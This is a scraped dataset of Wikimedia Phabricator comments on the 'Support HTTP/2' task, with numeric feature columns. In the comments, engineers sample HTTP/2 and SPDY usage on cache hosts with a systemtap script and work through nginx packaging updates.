``CODE`CODE`CODE`CODE`CODE`CODEbblack-mba:results bblack$ cat data/* | ./h2-proc.plCODEbblack-mba:results bblack$ cat data/*-text | ./h2-proc.plCODEbblack-mba:results bblack$ cat data/*-upload | ./h2-proc.plCODEbblack-mba:results bblack$ cat data/eqiad-* | ./h2-proc.plCODEbblack-mba:results bblack$ cat data/codfw-* | ./h2-proc.plCODEbblack-mba:results bblack$ cat data/ulsfo-* | ./h2-proc.plCODEbblack-mba:results bblack$ cat data/esams-* | ./h2-proc.pl`
| h1 | 49.80% |
| both | 37.64% |
| spdy | 7.35% |
| h2 | 5.21% |"
653501,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVRdQxtnD0x0K5Df_YZ0} [2016-04-28T14:25:59Z] <bblack> started SPDY stats sample on 8x caches - T96848#2248582",,,1461853562,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.5,0.8529411764705882,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-28T14:25:59Z] <bblack> started SPDY stats sample on 8x caches - T96848#2248582"
653491,Support HTTP/2,"Searched all the cache nodes for other builds that might have been left behind.  Found a working compile of the latest source for 3.19.0-2 in @ema's homedir on cp1048 (which he probably mentioned to me on IRC a few weeks ago!).  Tested and doesn't seem crashy and has the right outputs.  I'm still in a more-conservative mindset, though, so I think I'll just select 1x host per site+cluster combination to do the sampling on (8 total), out of the much larger set still running 3.19.

So, target hosts now:

text:
cp1053
cp2001
cp3030
cp4009

upload:
cp1048
cp2002
cp3034
cp4005",,,1461851986,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1.5,0.0,0.0,0.5,0.5,4.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,2.5,0.0,7.5,7.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.5,0.0,2.0,1.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,12.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,4.5,0.5,4.5,0.0,1.5,5.5,0.0,0.0,0.5,0.0,2.5,0.0,2.5,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,1.0,1.5,0.5,1.0,1.5,0.5,0.0,3.6544117647058822,0.8014705882352942,"Searched all the cache nodes for other builds that might have been left behind.  Found a working compile of the latest source for 3.19.0-2 inSCREEN_NAME's homedir on cp1048 (which he probably mentioned to me on IRC a few weeks ago!).  Tested and doesn't seem crashy and has the right outputs.  I'm still in a more-conservative mindset, though, so I think I'll just select 1x host per site+cluster combination to do the sampling on (8 total), out of the much larger set still running 3.19.

So, target hosts now:

text:
cp1053
cp2001
cp3030
cp4009

upload:
cp1048
cp2002
cp3034
cp4005"
653486,Support HTTP/2,"And... the output looks like that object was from a previous version of the source, the one in P2719 which lacks detection of an ALPN negotiation which specifies SPDY but not HTTP/2.",,,1461851444,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,3.0,14.0,0.0,6.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.314285714285714,0.8857142857142857,"And... the output looks like that object was from a previous version of the source, the one in P2719 which lacks detection of an ALPN negotiation which specifies SPDY but not HTTP/2."
653479,Support HTTP/2,"Continuing on the saga above: building the ko for various kernels either doesn't work at all or requires different versions of the systemtap building tools than what's available in jessie.  The one I built for 3.19, I had to hack the systemtap sources with a patch from https://sourceware.org/ml/systemtap/2014-q4/msg00257.html , and that one still caused harm on cp1065 in the end.

What I do have that works on some hosts, is the last binary @ema built, which appears to only load and work on our previous 4.4.0-1-amd64 kernel (`4.4.0-1-amd64 #1 SMP Debian 4.4-1~wmf1 (2016-01-26)`), not the newer 4.4 kernel and not the older 3.19 kernel.

The prod hosts we have now that are capable of running this object (upgraded to the first 4.4 test kernel, but not the latest 4.4 kernel) are:
cp1067 - eqiad text
cp1071 - eqiad upload
cp3048 - esams upload
cp4006 - ulsfo upload

Probably the best reasonable/conservative plan at this point is to gather stats on just these and process it both as an overall total and include the per-host results, so we can see any regional diff in upload, and how eqiad-text differs from eqiad-upload.  Within each site+cluster, using a single host is a reasonable sub-sample, as it should be pseudo-random which IPs land on which hosts via source hashing.",,,1461850603,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,7.333333333333333,1.3333333333333333,0.0,0.0,0.0,2.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,4.333333333333333,10.666666666666666,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,6.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,18.666666666666668,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,6.333333333333333,2.3333333333333335,4.0,0.6666666666666666,3.6666666666666665,10.333333333333334,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,2.6666666666666665,0.0,3.0,10.666666666666666,1.6666666666666667,0.0,0.0,0.0,3.0,0.0,2.6666666666666665,1.6666666666666667,0.0,1.6666666666666667,0.6666666666666666,0.6666666666666666,0.0,3.850843593251254,0.7264021887824897,"Continuing on the saga above: building the ko for various kernels either doesn't work at all or requires different versions of the systemtap building tools than what's available in jessie.  The one I built for 3.19, I had to hack the systemtap sources with a patch from URL , and that one still caused harm on cp1065 in the end.

What I do have that works on some hosts, is the last binarySCREEN_NAME built, which appears to only load and work on our previous 4.4.0-1-amd64 kernel (CODE), not the newer 4.4 kernel and not the older 3.19 kernel.

The prod hosts we have now that are capable of running this object (upgraded to the first 4.4 test kernel, but not the latest 4.4 kernel) are:
cp1067 - eqiad text
cp1071 - eqiad upload
cp3048 - esams upload
cp4006 - ulsfo upload

Probably the best reasonable/conservative plan at this point is to gather stats on just these and process it both as an overall total and include the per-host results, so we can see any regional diff in upload, and how eqiad-text differs from eqiad-upload.  Within each site+cluster, using a single host is a reasonable sub-sample, as it should be pseudo-random which IPs land on which hosts via source hashing."
653081,Support HTTP/2,"So, I had intended to do the quick test and start the 24H test today, but I've run into some issues.  Running the kernel object with `staprun` caused cp1065 to get into some crazy state on my first manual test.  My ssh session stayed open, but cp1065 basically stopped responding to icinga checks and public traffic, and the background `stapio` process became unkillable too.  I ended up rebooting (see also T131961#2245145 ).  I may try another test with cp1008 downgraded onto the 3.19.0-2 kernel and see how that flies, but there's no way I'm running this on the fleet till I understand the issue.",,,1461797009,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,5.0,0.5,3.5,7.5,0.0,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,3.5,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,4.5,0.0,8.0,1.5,4.5,9.0,0.0,0.0,0.0,0.0,4.5,0.0,2.0,0.0,5.0,7.5,2.5,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,3.935483870967742,0.7741935483870968,"So, I had intended to do the quick test and start the 24H test today, but I've run into some issues.  Running the kernel object with CODE caused cp1065 to get into some crazy state on my first manual test.  My ssh session stayed open, but cp1065 basically stopped responding to icinga checks and public traffic, and the background CODE process became unkillable too.  I ended up rebooting (see also T131961#2245145 ).  I may try another test with cp1008 downgraded onto the 3.19.0-2 kernel and see how that flies, but there's no way I'm running this on the fleet till I understand the issue."
652270,Support HTTP/2,"Ok, np!",,,1461705947,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,"Ok, np!"
652269,Support HTTP/2,">>! In T96848#2231806, @BBlack wrote:
> If you have time and want to do it (next week!), by all means go for it, I have lots else to keep me busy indefinitely :)  My basic plan was try it for an hour on a couple of caches just as trial run (sane stats output makes sense, nothing crashes, no strange machine perf impact), then run it across text+upload for ~24h and sum the outputs up as first true full sample.  Maybe take another shot a week later on a different DOW to confirm things are similar-ish and/or moving in the right direction, as a final step before upgrading?

I don't have time after all, since I'm in the process of moving. But the plan you sketch out sounds good to me.",,,1461705912,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,9.0,0.0,9.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.1875,0.875,"QUOTE
QUOTE

I don't have time after all, since I'm in the process of moving. But the plan you sketch out sounds good to me."
650325,Support HTTP/2,"If you have time and want to do it (next week!), by all means go for it, I have lots else to keep me busy indefinitely :)  My basic plan was try it for an hour on a couple of caches just as trial run (sane stats output makes sense, nothing crashes, no strange machine perf impact), then run it across text+upload for ~24h and sum the outputs up as first true full sample.  Maybe take another shot a week later on a different DOW to confirm things are similar-ish and/or moving in the right direction, as a final step before upgrading?",,,1461371589,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0.5,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.5,0.0,5.0,11.5,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,3.5,1.0,2.5,1.0,0.5,0.0,0.0,1.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,5.0,1.5,3.0,0.5,2.0,7.5,0.0,0.5,0.5,0.0,5.5,0.0,0.0,0.0,4.5,11.5,1.0,1.0,0.0,0.0,4.5,0.0,0.0,3.5,0.5,1.5,0.0,0.0,0.0,3.6418079096045197,0.8824858757062147,"If you have time and want to do it (next week!), by all means go for it, I have lots else to keep me busy indefinitely :)  My basic plan was try it for an hour on a couple of caches just as trial run (sane stats output makes sense, nothing crashes, no strange machine perf impact), then run it across text+upload for ~24h and sum the outputs up as first true full sample.  Maybe take another shot a week later on a different DOW to confirm things are similar-ish and/or moving in the right direction, as a final step before upgrading?"
650311,Support HTTP/2,">>! In T96848#2231730, @BBlack wrote:
>>>! In T96848#2230942, @ori wrote:
>>>>! In T96848#2147772, @BBlack wrote:
>>> [...] but using @ema's new systemtap stuff (which is way better than the sniffer-based solution) [...]
>> 
>> Is this code published anywhere?
> 
> The systemtap script is at https://github.com/wikimedia/operations-puppet/blob/production/modules/tlsproxy/files/utils/h2_spdy_stats.stp - we were semi-blocked on ""finish upgrading the kernels on the caches so we can deploy the same systemtap compiled blob to them all and grab stats"", and then it turned out for other blocker reasons we're not going to finish those kernel upgrades quickly.  Probably we'll have to build for both kernels and handle running it on both too for taking the extended snapshots.  That stuff's all to resume next week, at least that's the plan.

Ah, OK. I asked because I was interested in helping out, but it sounds like you are on top of this and that I would only be getting in the way. If there is something you'd like my help with, let me know.",,,1461368800,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0.0,2.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,3.0,2.0,0.0,2.0,2.0,8.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,2.0,2.0,0.0,3.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,21.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,12.0,15.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.1818181818181817,0.6666666666666666,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah, OK. I asked because I was interested in helping out, but it sounds like you are on top of this and that I would only be getting in the way. If there is something you'd like my help with, let me know."
650300,Support HTTP/2,">>! In T96848#2230942, @ori wrote:
>>>! In T96848#2147772, @BBlack wrote:
>> [...] but using @ema's new systemtap stuff (which is way better than the sniffer-based solution) [...]
> 
> Is this code published anywhere?

The systemtap script is at https://github.com/wikimedia/operations-puppet/blob/production/modules/tlsproxy/files/utils/h2_spdy_stats.stp - we were semi-blocked on ""finish upgrading the kernels on the caches so we can deploy the same systemtap compiled blob to them all and grab stats"", and then it turned out for other blocker reasons we're not going to finish those kernel upgrades quickly.  Probably we'll have to build for both kernels and handle running it on both too for taking the extended snapshots.  That stuff's all to resume next week, at least that's the plan.",,,1461366245,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,1.5,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,4.0,10.0,0.0,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.5,4.5,1.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,5.5,0.5,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,3.8425925925925926,0.7685185185185185,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The systemtap script is at URL - we were semi-blocked on ""finish upgrading the kernels on the caches so we can deploy the same systemtap compiled blob to them all and grab stats"", and then it turned out for other blocker reasons we're not going to finish those kernel upgrades quickly.  Probably we'll have to build for both kernels and handle running it on both too for taking the extended snapshots.  That stuff's all to resume next week, at least that's the plan."
650162,Support HTTP/2,">>! In T96848#2147772, @BBlack wrote:
> [...] but using @ema's new systemtap stuff (which is way better than the sniffer-based solution) [...]

Is this code published anywhere?",,,1461345489,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,0.9,"QUOTE
QUOTE

Is this code published anywhere?"
650137,Support HTTP/2,"Packaging patches updated to 1.9.15-1+wmf1 (which is still in branch wmf-1.9.14-1, as we're still based on that release from debian upstream unstable/testing, and then includes the full 1.9.14..1.9.15 diffs from upstream as an additional local commit).  Builds correctly, installed locally on pinkunicorn for testing, seems to work!",,,1461344149,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,15.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.4,0.8153846153846154,"Packaging patches updated to 1.9.15-1+wmf1 (which is still in branch wmf-1.9.14-1, as we're still based on that release from debian upstream unstable/testing, and then includes the full 1.9.14..1.9.15 diffs from upstream as an additional local commit).  Builds correctly, installed locally on pinkunicorn for testing, seems to work!"
650136,Support HTTP/2,"Change 284920 had a related patch set uploaded (by BBlack):
Remove --automatic-dbgsym on dyn mod dh_strip

[[https://gerrit.wikimedia.org/r/284920]]
",,,1461344099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8928571428571429,"Change 284920 had a related patch set uploaded (by BBlack):
Remove --automatic-dbgsym on dyn mod dh_strip

[[GERRIT_URL]]
"
648846,Support HTTP/2,"I backported some of that to our tentative 1.9.14-1+wmf1, but yeah we'll want the rest of the HTTP/2 fixes that have landed since in 1.9.15.  Note debian now has their git repo pushing a 1.9.14-1 to unstable (which means the 'dyn' work for nginx dso stuff is done), and the current 1.9.14-1+wmf1 of ours is rebased onto that.  There's some testing to do about how the new packages will work on jessie with some modules split out, etc.",,,1461159957,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,3.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,3.0,0.0,2.0,14.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,6.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,4.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,3.0,1.0,7.0,0.0,5.0,14.0,2.0,0.0,2.0,0.0,5.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,3.642857142857143,0.7448979591836735,"I backported some of that to our tentative 1.9.14-1+wmf1, but yeah we'll want the rest of the HTTP/2 fixes that have landed since in 1.9.15.  Note debian now has their git repo pushing a 1.9.14-1 to unstable (which means the 'dyn' work for nginx dso stuff is done), and the current 1.9.14-1+wmf1 of ours is rebased onto that.  There's some testing to do about how the new packages will work on jessie with some modules split out, etc."
648808,Support HTTP/2,"Nginx 1.9.15 Changes:

```

    *) Bugfix: ""recv() failed"" errors might occur when using HHVM as a
       FastCGI server.

    *) Bugfix: when using HTTP/2 and the ""limit_req"" or ""auth_request""
       directives a timeout or a ""client violated flow control"" error might
       occur while reading client request body; the bug had appeared in
       1.9.14.

    *) Workaround: a response might not be shown by some browsers if HTTP/2
       was used and client request body was not fully read; the bug had
       appeared in 1.9.14.

    *) Bugfix: connections might hang when using the ""aio threads""
       directive.
       Thanks to Mindaugas Rasiukevicius.
```

Probably we'll see a lot of HTTP/2 fixes from now on since the protocol's implementation is really new, but worth to mention anyway :)

",,,1461157626,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,3.0,3.0,5.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.8717948717948718,"Nginx 1.9.15 Changes:

``CODE``

Probably we'll see a lot of HTTP/2 fixes from now on since the protocol's implementation is really new, but worth to mention anyway :)

"
647577,Support HTTP/2,"^ The 1.9.14 commits have the chrome http/2 fix in place, too.  I haven't built or tested these yet (pinkunicorn still on the 1.9.12 patches).",,,1461014083,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.6875,0.90625,"^ The 1.9.14 commits have the chrome http/2 fix in place, too.  I haven't built or tested these yet (pinkunicorn still on the 1.9.12 patches)."
647573,Support HTTP/2,"Change 284077 had a related patch set uploaded (by BBlack):
nginx (1.9.14-1 wmf1) jessie-wikimedia; urgency=medium

[[https://gerrit.wikimedia.org/r/284077]]
",,,1461013958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.4705882352941178,0.8529411764705882,"Change 284077 had a related patch set uploaded (by BBlack):
nginx (1.9.14-1 wmf1) jessie-wikimedia; urgency=medium

[[GERRIT_URL]]
"
647572,Support HTTP/2,"Change 284075 had a related patch set uploaded (by BBlack):
multicert   libssl1.0.2 patches for 1.9.14

[[https://gerrit.wikimedia.org/r/284075]]
",,,1461013957,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 284075 had a related patch set uploaded (by BBlack):
multicert   libssl1.0.2 patches for 1.9.14

[[GERRIT_URL]]
"
647570,Support HTTP/2,"Change 279991 abandoned by BBlack:
nginx (1.9.12-1 wmf1) jessie-wikimedia; urgency=medium

